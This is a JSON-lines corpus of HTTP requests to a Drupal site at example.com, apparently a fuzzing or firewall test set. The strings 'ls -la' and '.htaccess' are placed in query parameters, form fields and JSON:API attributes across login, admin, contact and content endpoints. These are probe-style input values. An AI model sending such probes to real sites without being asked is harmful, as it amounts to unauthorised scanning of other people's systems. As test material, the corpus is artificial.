{"method": "GET", "target": "/fr/admin/content?title=ls%20-la", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/fr/admin/content/media?name=ls%20-la", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/fr/admin/people?user=ls%20-la", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/fr/admin/content/files?filename=ls%20-la", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/fr/admin/content/block?info=ls%20-la", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/fr/admin/content/comment?subject=ls%20-la", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/fr/admin/config/search/path?search=ls%20-la", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/fr/search/node?keys=ls%20-la", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/fr/entity_reference_autocomplete/taxonomy_term/default%3Ataxonomy_term/kTbsiUk3K87GlBBAjYhMayIWDWamtdsBC31lWLRHdzg?q=ls%20-la", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/fr/jsonapi/node/article?filter%5Btitle%5D=ls%20-la", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/fr/user/password?name=ls%20-la", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/fr/block-category/autocomplete?q=ls%20-la", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/fr/node/2/edit?destination=/admin/content%3Ftitle%3Dls%20-la", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/fr/admin/content?destination=/admin/content%3Ftitle%3Dls%20-la", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "POST", "target": "/user/login", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/user/login"], "body": "form_build_id=form--MgUmKVBHL8-ZmCxTbdLPxRiftVEH4MgTBHruTxJauE&form_id=user_login_form&name=ls+-la&pass=example-password-1&op=Log+in"}
{"method": "POST", "target": "/user/login?_format=json", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "Content-Type: application/json", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: application/json"], "body": "{\"name\": \"ls -la\", \"pass\": \"example-password-1\"}"}
{"method": "POST", "target": "/user/register", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/user/register"], "body": "user_picture%5B0%5D%5Bfids%5D=&user_picture%5B0%5D%5Bdisplay%5D=1&form_build_id=form-KvM4cYzHX--qJZbsRjkUpjiC8Ur7siCJJhCJLblQr8E&form_id=user_register_form&contact=1&name=ls+-la&mail=new.person%40example.com&op=Create+new+account"}
{"method": "POST", "target": "/user/password", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/user/password"], "body": "form_build_id=form-iBeLc4CsvDOc-xZT-zhb6QxjNg_jwYe0TaIHAE_vpp8&form_id=user_pass&name=ls+-la&op=Submit"}
{"method": "POST", "target": "/admin/structure/taxonomy/manage/tags/add", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/admin/structure/taxonomy/manage/tags/add", "Cookie: SESSexample=example-session-value"], "body": "description%5B0%5D%5Bformat%5D=basic_html&form_build_id=form-fCKIAUgqp-X5fvv-nb6RTL0prPHa9QTUV4pR5LWsQaM&form_token=SojzbaQwCVukpv8FTEjCJRTSIDNbLkYQsIQVk_bs9gk&form_id=taxonomy_term_tags_form&parent%5B%5D=0&weight=0&revision_log_message%5B0%5D%5Bvalue%5D=&path%5B0%5D%5Balias%5D=&advanced__active_tab=&status%5Bvalue%5D=1&name%5B0%5D%5Bvalue%5D=ls+-la&description%5B0%5D%5Bvalue%5D=ls+-la&op=Save"}
{"method": "POST", "target": "/taxonomy/term/1/edit", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/taxonomy/term/1/edit", "Cookie: SESSexample=example-session-value"], "body": "description%5B0%5D%5Bformat%5D=basic_html&form_build_id=form-OhQW68GDpyCKebeLaSsM5khaGcE9MPawn_162h_BrvQ&form_token=SojzbaQwCVukpv8FTEjCJRTSIDNbLkYQsIQVk_bs9gk&form_id=taxonomy_term_tags_form&parent%5B%5D=0&weight=0&revision_log_message%5B0%5D%5Bvalue%5D=&path%5B0%5D%5Balias%5D=&advanced__active_tab=&status%5Bvalue%5D=1&name%5B0%5D%5Bvalue%5D=ls+-la&description%5B0%5D%5Bvalue%5D=ls+-la&op=Save"}
{"method": "POST", "target": "/block/add/basic", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/block/add/basic", "Cookie: SESSexample=example-session-value"], "body": "body%5B0%5D%5Bformat%5D=basic_html&form_build_id=form-_ZMo82uMFFnev4u0soP_Mnb7N26boS2YTeQYrKhnVk4&form_token=q0WBE_UHNxlwI7gIKjkOQ3vzcjjqF6MA-tkc-jlDkss&form_id=block_content_basic_form&revision_log%5B0%5D%5Bvalue%5D=&advanced__active_tab=&info%5B0%5D%5Bvalue%5D=ls+-la&body%5B0%5D%5Bvalue%5D=%3Cp%3Els+-la%3C%2Fp%3E&op=Save"}
{"method": "POST", "target": "/admin/content/block/1", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/admin/content/block/1", "Cookie: SESSexample=example-session-value"], "body": "body%5B0%5D%5Bformat%5D=basic_html&form_build_id=form-otu04bFn0cPoVh6O5Cmmz4UIldaRE65QvUT_bcwd7Nk&form_token=CTFthAPih-MpIpDfZfC3X-u7Zu-ZkxceTSLp5LSz6sA&form_id=block_content_basic_edit_form&revision_log%5B0%5D%5Bvalue%5D=&advanced__active_tab=&info%5B0%5D%5Bvalue%5D=ls+-la&body%5B0%5D%5Bvalue%5D=%3Cp%3Els+-la%3C%2Fp%3E&op=Save"}
{"method": "POST", "target": "/contact/feedback", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/contact/feedback", "Cookie: SESSexample=example-session-value"], "body": "form_build_id=form-QPu6cQJNnWjY9FG_kdwApvRBM9O4CZtn3_D6IEt-YYs&form_token=BioWXw_l1qeQpXCVk6MecFnqzo3v4Xx4789RNdhMzbI&form_id=contact_message_feedback_form&subject%5B0%5D%5Bvalue%5D=ls+-la&message%5B0%5D%5Bvalue%5D=ls+-la&op=Send+message"}
{"method": "POST", "target": "/user/2/contact", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/user/2/contact", "Cookie: SESSexample=example-session-value"], "body": "form_build_id=form-8bBu9xb8ywvW4JS_f8YTClqxyYXplGObpwzVt6q-rkQ&form_token=9fGYktyPYGrqY39Trq3LbZ-pPEiu26dKeoTIYs2yUSI&form_id=contact_message_personal_form&subject%5B0%5D%5Bvalue%5D=Hello&message%5B0%5D%5Bvalue%5D=ls+-la&op=Send+message"}
{"method": "POST", "target": "/user/2/edit", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/user/2/edit", "Cookie: SESSexample=example-session-value"], "body": "mail=powershell%40example.com&pass%5Bpass1%5D=&pass%5Bpass2%5D=&status=1&roles%5Bauthenticated%5D=authenticated&user_picture%5B0%5D%5Bfids%5D=&preferred_langcode=en&form_build_id=form-ky_KD9zOO4hf2S4M5gm_ocUrrIHiNC33Kg38Rq2EMy8&form_token=YEqI2vgLK6MdCg3eFgVGdWvoBXnUz3jPMJlC-pxJpKQ&form_id=user_form&contact=1&timezone=UTC&name=ls+-la&op=Save"}
{"method": "POST", "target": "/user/2/edit", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/user/2/edit", "Cookie: SESSexample=example-session-value"], "body": "name=ls+-la&pass%5Bpass1%5D=&pass%5Bpass2%5D=&status=1&roles%5Bauthenticated%5D=authenticated&user_picture%5B0%5D%5Bfids%5D=&preferred_langcode=en&form_build_id=form-4-VtoJyDzgEMcVhGiG9EGrEMPZlIEZhDZU1-ngjb8uQ&form_token=YEqI2vgLK6MdCg3eFgVGdWvoBXnUz3jPMJlC-pxJpKQ&form_id=user_form&contact=1&timezone=UTC&mail=ls--la%40example.com&op=Save"}
{"method": "POST", "target": "/comment/reply/node/2/comment", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/node/2"], "body": "form_build_id=form-fWXW0_t0POXGE2CvbdNIt5pM-3z4tFgsdTt-dbA8r7U&form_id=comment_comment_form&name=ls+-la&subject%5B0%5D%5Bvalue%5D=Hello&comment_body%5B0%5D%5Bvalue%5D=Hello&op=Save"}
{"method": "PATCH", "target": "/node/2?_format=json", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "Content-Type: application/json", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: application/json", "Cookie: SESSexample=example-session-value", "Authorization: Basic YWRtaW46ZXhhbXBsZS1wYXNzd29yZC0x"], "body": "{\"type\": [{\"target_id\": \"article\"}], \"title\": [{\"value\": \"ls -la\"}]}"}
{"method": "POST", "target": "/jsonapi/taxonomy_term/tags", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "Content-Type: application/vnd.api+json", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: application/vnd.api+json", "Cookie: SESSexample=example-session-value", "Authorization: Basic YWRtaW46ZXhhbXBsZS1wYXNzd29yZC0x"], "body": "{\"data\": {\"type\": \"taxonomy_term--tags\", \"attributes\": {\"name\": \"ls -la\", \"description\": {\"value\": \"ls -la\", \"format\": \"plain_text\"}}}}"}
{"method": "PATCH", "target": "/jsonapi/user/user/8ef8d8a0-cb47-47c4-ac70-ba5e24fb4547", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "Content-Type: application/vnd.api+json", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: application/vnd.api+json", "Cookie: SESSexample=example-session-value", "Authorization: Basic YWRtaW46ZXhhbXBsZS1wYXNzd29yZC0x"], "body": "{\"data\": {\"type\": \"user--user\", \"id\": \"8ef8d8a0-cb47-47c4-ac70-ba5e24fb4547\", \"attributes\": {\"name\": \"ls -la\"}}}"}
{"method": "PATCH", "target": "/jsonapi/node/article/e913030f-277a-4d92-be7b-db577ce282ad", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "Content-Type: application/vnd.api+json", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: application/vnd.api+json", "Cookie: SESSexample=example-session-value", "Authorization: Basic YWRtaW46ZXhhbXBsZS1wYXNzd29yZC0x"], "body": "{\"data\": {\"type\": \"node--article\", \"id\": \"e913030f-277a-4d92-be7b-db577ce282ad\", \"attributes\": {\"revision_log\": \"ls -la\"}}}"}
{"method": "POST", "target": "/jsonapi/block_content/basic", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "Content-Type: application/vnd.api+json", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: application/vnd.api+json", "Cookie: SESSexample=example-session-value", "Authorization: Basic YWRtaW46ZXhhbXBsZS1wYXNzd29yZC0x"], "body": "{\"data\": {\"type\": \"block_content--basic\", \"attributes\": {\"info\": \"ls -la\"}}}"}
{"method": "GET", "target": "/user/password?name=.htaccess", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/ckeditor5/basic_html/entity-link-suggestions?q=.htaccess", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: application/json", "Referer: http://example.com/node/add/article", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/block-category/autocomplete?q=.htaccess", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: application/json", "Referer: http://example.com/admin/structure/block", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/media/oembed?url=https%3A%2F%2Fvimeo.com%2Fchannels%2F.htaccess&max_width=0&max_height=0&hash=example-hash", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/big_pipe/no-js?destination=/admin/content%3Ftitle%3D.htaccess", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/node/2/revisions/3/revert?destination=/admin/content%3Ftitle%3D.htaccess", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/node/2/revisions/3/delete?destination=/admin/content%3Ftitle%3D.htaccess", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/block/add/basic?destination=/admin/content/block%3Finfo%3D.htaccess", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/media-library?media_library_opener_id=media_library.opener.field_widget&media_library_allowed_types%5Bimage%5D=image&media_library_selected_type=image&media_library_remaining=1&hash=example-hash&name=.htaccess", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/views/ajax?_wrapper_format=drupal_ajax&name=.htaccess&view_name=media_library&view_display_id=widget&view_args=image&view_path=%2Fadmin%2Fcontent%2Fmedia-widget&_drupal_ajax=1", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: application/json, text/javascript, */*; q=0.01", "Cookie: SESSexample=example-session-value", "X-Requested-With: XMLHttpRequest"], "body": ""}
{"method": "GET", "target": "/fr/admin/content?title=.htaccess", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/fr/admin/content/media?name=.htaccess", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/fr/admin/people?user=.htaccess", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/fr/admin/content/files?filename=.htaccess", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/fr/admin/content/block?info=.htaccess", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/fr/admin/content/comment?subject=.htaccess", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/fr/admin/config/search/path?search=.htaccess", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
